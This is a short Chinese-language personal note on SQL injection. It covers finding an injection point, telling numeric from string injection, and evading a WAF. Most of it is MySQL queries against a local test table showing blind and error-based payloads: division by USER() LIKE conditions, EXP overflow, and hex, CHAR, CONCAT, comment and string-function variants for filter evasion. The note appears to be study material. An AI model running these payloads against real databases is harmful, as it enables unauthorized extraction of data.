sql注入笔记

笔记记录

流程

1.确定sql注入(利用 ‘ ,and进行逻辑拼接判断注入点)

2.确定注入类型,这里是数值型(name做字符型注入)

3.绕waf(hex或char)

代码

Create Table
CREATE TABLE `test` (
  `id` int(11) DEFAULT NULL,
  `name` varchar(200) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8
SELECT * FROM test WHERE id ='1' OR 1=2;#判断

SELECT * FROM test WHERE NAME="zhangsan";
SELECT * FROM test WHERE NAME="1/(USER() LIKE 'r%')";



SELECT * FROM test WHERE id =1/(USER() LIKE 'r%');
SELECT * FROM test WHERE id =1/(USER() LIKE 0x7225);
SELECT * FROM test WHERE id =1/(USER() LIKE CHAR(114,37));
SELECT * FROM test WHERE id =1/(USER()
 LIKE
  'r%');
SELECT * FROM test WHERE id =1/(USE/*zhushi*/R() LIKE 'r%');  #未成功

SELECT * FROM test WHERE id =1/(USER() LIKE CONCAT('r','%'));

SELECT * FROM test WHERE id =1/(INSTR(USER(),'r')=1);


SELECT * FROM test WHERE id =1/(POSITION('r' IN USER())=1);


SELECT * FROM test WHERE id =1/(LOCATE('r',USER())=1);

SELECT * FROM test WHERE id =1/(LOCATE('o',CURRENT_USER,2)>0);

SELECT * FROM test WHERE id =1/(SUBSTRING(USER(),2,1)='o');

SELECT * FROM test WHERE id =1/(1 AND EXP(710-1));	

SELECT * FROM test WHERE id =1/(1 AND EXP(710-SUBSTRING(USER(),1,1)='r'));

###